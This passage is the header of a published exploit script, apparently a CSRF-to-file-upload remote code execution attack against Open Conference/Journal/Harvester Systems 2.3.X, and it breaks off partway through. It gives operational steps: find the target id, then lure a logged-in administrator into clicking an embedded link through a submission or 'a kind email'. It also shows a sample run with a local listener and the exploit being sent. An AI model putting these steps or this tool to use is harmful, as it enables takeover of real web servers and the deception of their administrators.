I'm sick of vendors ignoring me on this kind of bug. # # Exploit requirement: # -------------------- # - Find the target conference/journal/archive: just visit http://[target]/[path]/index.php # It will be a string value in a URI embeded in the page. Just use the first conference/journal/archive, and it will be id 1. # - You will need to embed the link into the application too and hope the admin gets curious.. # Maybe you could make a 'submission' to the conference, journal or archive entry or send a kind email ;) # ============================================================================================ # mr_me@gliese:~/$ python ocs_csrf_rce.py -p localhost:8081 -t 192.168.220.134 -d ocs-2.3.4 -P 9090 -s seriousbiz # # +==============================================================================================+ # | Open Conference/Journal/Harvester Systems <= 2.3.X csrf/upload/remote code execution exploit | # | Found by: mr_me | # +==============================================================================================+ # (+) Testing proxy @ localhost:8081.. proxy is found to be working! # (+) Listening on local port 9090. # (+) Have someone connect to you at http://127.0.0.1:9090/ # # Type -c to exit.. # # localhost - - [23/Dec/2011 18:15:21] "GET / HTTP/1.1" 200 - # # (+) Exploit sent to the client target 127.0.0.1 attacking 192.168.220.134. # (-) Code injection and execution failed! # (-) Target client may not logged into the admin interface of Open Systems..! # # localhost - - [23/Dec/2011 18:15:39] "GET / HTTP/1.1" 200 - # # (+) Exploit sent to the client target 127.0.0.1 attacking 192.168.220.134. # (!)
